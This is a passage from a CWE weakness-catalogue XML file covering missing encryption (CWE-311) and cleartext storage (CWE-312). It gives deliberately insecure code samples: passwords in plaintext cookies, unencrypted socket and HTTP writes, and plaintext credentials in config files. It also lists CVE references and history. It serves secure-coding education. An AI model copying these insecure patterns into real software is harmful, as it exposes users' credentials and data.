								                <Code> $data = array("username" =&gt; $username,
									"password"=&gt; $password);</Code>
								                <Code> setcookie ("userdata", $data); </Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code stores the user's username and password in plaintext in a
							cookie on the user's machine. This exposes the user's login information
							if their computer is compromised by an attacker. Even if the user's
							machine is not compromised, this weakness combined with cross-site
							scripting (CWE-79) could allow an attacker to remotely copy the
							cookie.</Text>
						            <Text>Also note this example code also exhibits Plaintext Storage in a
							Cookie (CWE-315).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-41">
					          <Intro_Text>The following code attempts to establish a connection, read in a
						password, then store it to a buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>server.sin_family = AF_INET; hp = gethostbyname(argv[1]);</Code>
							              <Code>if (hp==NULL) error("Unknown host");</Code>
							              <Code>memcpy( (char *)&amp;server.sin_addr,(char
								*)hp-&gt;h_addr,hp-&gt;h_length);</Code>
							              <Code>if (argc &lt; 3) port = 80;</Code>
							              <Code>else port = (unsigned short)atoi(argv[3]);</Code>
							              <Code>server.sin_port = htons(port);</Code>
							              <Code>if (connect(sock, (struct sockaddr *)&amp;server, sizeof
								server) &lt; 0) error("Connecting");</Code>
							              <Code>...</Code>
							              <Code>while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {</Code>
							              <Block>
								                <Code/>
								                <Code>write(dfd,password_buffer,n);</Code>
								                <Code>...</Code>
								                <Code/>
							              </Block>
						            </Block>
						            <Text>While successful, the program does not encrypt the data before writing
							it to a buffer, possibly exposing it to unauthorized actors.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-42">
					          <Intro_Text>The following code attempts to establish a connection to a site to
						communicate sensitive information.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>URL u = new URL("http://www.secret.example.org/");</Code>
								                <Code>HttpURLConnection hu = (HttpURLConnection)
									u.openConnection();</Code>
								                <Code>hu.setRequestMethod("PUT");</Code>
								                <Code>hu.connect();</Code>
								                <Code>OutputStream os = hu.getOutputStream(); </Code>
								                <Code>hu.disconnect();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (IOException e) {</Code>
							              <Block>
								                <Comment>//...</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Though a connection is successfully made, the connection is
							unencrypted and it is possible that all sensitive data sent to or
							received from the server will be read by unintended actors.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2272</Observed_Example_Reference>
					          <Observed_Example_Description>password and username stored in cleartext in a
						cookie</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1466</Observed_Example_Reference>
					          <Observed_Example_Description>password stored in cleartext in a file with
						insecure permissions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0152</Observed_Example_Reference>
					          <Observed_Example_Description>chat program disables SSL in some circumstances
						even when the user says to use SSL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1603</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product uses an incorrect public exponent
						when generating an RSA key, which effectively disables the
						encryption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0964</Observed_Example_Reference>
					          <Observed_Example_Description>storage of unencrypted passwords in a
						database</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6157</Observed_Example_Reference>
					          <Observed_Example_Description>storage of unencrypted passwords in a
						database</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6828</Observed_Example_Reference>
					          <Observed_Example_Description>product stores a password in cleartext in
						memory</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1567</Observed_Example_Reference>
					          <Observed_Example_Description>storage of a secret key in cleartext in a
						temporary file</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0174</Observed_Example_Reference>
					          <Observed_Example_Description>SCADA product uses HTTP Basic Authentication,
						which is not encrypted</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5778</Observed_Example_Reference>
					          <Observed_Example_Description>login credentials stored unencrypted in a registry
						key</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1949</Observed_Example_Reference>
					          <Observed_Example_Description>Passwords transmitted in
						cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4122</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Use of HTTPS cookie without "secure" flag
						causes it to be transmitted across unencrypted
						HTTP.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3289</Observed_Example_Reference>
					          <Observed_Example_Description>Product sends password hash in cleartext in
						violation of intended policy.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4390</Observed_Example_Reference>
					          <Observed_Example_Description>Remote management feature sends sensitive
						information including passwords in cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5626</Observed_Example_Reference>
					          <Observed_Example_Description>Backup routine sends password in cleartext in
						email.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1852</Observed_Example_Reference>
					          <Observed_Example_Description>Product transmits Blowfish encryption key in
						cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0374</Observed_Example_Reference>
					          <Observed_Example_Description>Printer sends configuration information, including
						administrative password, in cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4961</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: cleartext transmission of the MD5 hash of
						password enables attacks against a server that is susceptible to replay
						(CWE-294).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4786</Observed_Example_Reference>
					          <Observed_Example_Description>Product sends passwords in cleartext to a log
						server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3140</Observed_Example_Reference>
					          <Observed_Example_Description>Product sends file with cleartext passwords in
						e-mail message intended for diagnostic purposes.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.311.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "Protecting Secret Data" Page
						299</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.311.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 17: Failure to Protect Stored Data." Page
						253</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.311.3">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 10 - Missing Encryption of Sensitive
						Data</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-02-26</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/02/26/top-25-series-rank-10-missing-encryption-of-sensitive-data/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.311.4">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Encryption", Page
						43.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.311.5">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to encrypt data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Cryptographic Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Communications</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Transport Layer Protection </Mapped_Node_Name>
					          <Mapped_Node_ID>4</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use SSLSocket rather than Socket for secure data
						exchange</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>117</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>155</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>157</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>167</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>204</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>258</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>259</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>260</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>37</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>383</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>384</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>385</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>386</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>387</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>388</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>389</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>65</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Detection_Factors,
						Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations,
						References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Encrypt
						Data</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Failure to Encrypt Sensitive
						Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="312" Name="Cleartext Storage of Sensitive Information" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application stores sensitive information in cleartext
					within a resource that might be accessible to another control sphere, when the
					information should be encrypted or otherwise protected.</Description_Summary>
				        <Extended_Description>
					          <Text>Because the information is stored in cleartext, attackers could
						potentially read it.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>311</Relationship_Target_ID>
					          <!--Missing Encryption of Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>816</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker with access to the system could read sensitive information
							stored in cleartext.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-44">
					          <Intro_Text>The following code excerpt stores a plaintext user account ID in a
						browser cookie.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>response.addCookie( new Cookie("userAccountID", acctID);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-40">
					          <Intro_Text>This code writes a user's login information to a cookie so the user
						does not have to login again later. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function persistLogin($username, $password){</Code>
							              <Block>
								                <Code> $data = array("username" =&gt; $username, "password"=&gt;
									$password);</Code>
								                <Code> setcookie ("userdata", $data); </Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code stores the user's username and password in plaintext in a
							cookie on the user's machine. This exposes the user's login information
							if their computer is compromised by an attacker. Even if the user's
							machine is not compromised, this weakness combined with cross-site
							scripting (CWE-79) could allow an attacker to remotely copy the
							cookie.</Text>
						            <Text>Also note this example code also exhibits Plaintext Storage in a
							Cookie (CWE-315).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-41">
					          <Intro_Text>The following code attempts to establish a connection, read in a
						password, then store it to a buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>server.sin_family = AF_INET; hp = gethostbyname(argv[1]);</Code>
							              <Code>if (hp==NULL) error("Unknown host");</Code>
							              <Code>memcpy( (char *)&amp;server.sin_addr,(char
								*)hp-&gt;h_addr,hp-&gt;h_length);</Code>
							              <Code>if (argc &lt; 3) port = 80;</Code>
							              <Code>else port = (unsigned short)atoi(argv[3]);</Code>
							              <Code>server.sin_port = htons(port);</Code>
							              <Code>if (connect(sock, (struct sockaddr *)&amp;server, sizeof server)
								&lt; 0) error("Connecting");</Code>
							              <Code>...</Code>
							              <Code>while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {</Code>
							              <Block>
								                <Code/>
								                <Code>write(dfd,password_buffer,n);</Code>
								                <Code>...</Code>
								                <Code/>
							              </Block>
						            </Block>
						            <Text>While successful, the program does not encrypt the data before writing
							it to a buffer, possibly exposing it to unauthorized actors.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2272</Observed_Example_Reference>
					          <Observed_Example_Description>password and username stored in cleartext in a
						cookie</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1466</Observed_Example_Reference>
					          <Observed_Example_Description>password stored in cleartext in a file with
						insecure permissions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0152</Observed_Example_Reference>
					          <Observed_Example_Description>chat program disables SSL in some circumstances
						even when the user says to use SSL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1603</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product uses an incorrect public exponent
						when generating an RSA key, which effectively disables the
						encryption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0964</Observed_Example_Reference>
					          <Observed_Example_Description>storage of unencrypted passwords in a
						database</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6157</Observed_Example_Reference>
					          <Observed_Example_Description>storage of unencrypted passwords in a
						database</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6828</Observed_Example_Reference>
					          <Observed_Example_Description>product stores a password in cleartext in
						memory</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1567</Observed_Example_Reference>
					          <Observed_Example_Description>storage of a secret key in cleartext in a
						temporary file</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0174</Observed_Example_Reference>
					          <Observed_Example_Description>SCADA product uses HTTP Basic Authentication,
						which is not encrypted</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5778</Observed_Example_Reference>
					          <Observed_Example_Description>login credentials stored unencrypted in a registry
						key</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1481</Observed_Example_Reference>
					          <Observed_Example_Description>Plaintext credentials in world-readable
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1828</Observed_Example_Reference>
					          <Observed_Example_Description>Password in cleartext in config
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2209</Observed_Example_Reference>
					          <Observed_Example_Description>Password in cleartext in config
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1696</Observed_Example_Reference>
					          <Observed_Example_Description>Decrypted copy of a message written to disk given
						a combination of options and when user replies to an encrypted
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2397</Observed_Example_Reference>
					          <Observed_Example_Description>Plaintext storage of private key and passphrase in
						log file when user imports the key.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1800</Observed_Example_Reference>
					          <Observed_Example_Description>Admin password in plaintext in a
						cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1537</Observed_Example_Reference>
					          <Observed_Example_Description>Default configuration has cleartext
						usernames/passwords in cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1536</Observed_Example_Reference>
					          <Observed_Example_Description>Usernames/passwords in cleartext in
						cookies.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2160</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication information stored in cleartext in
						a cookie.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "Protecting Secret Data" Page
						299</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Encryption", Page
						43.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
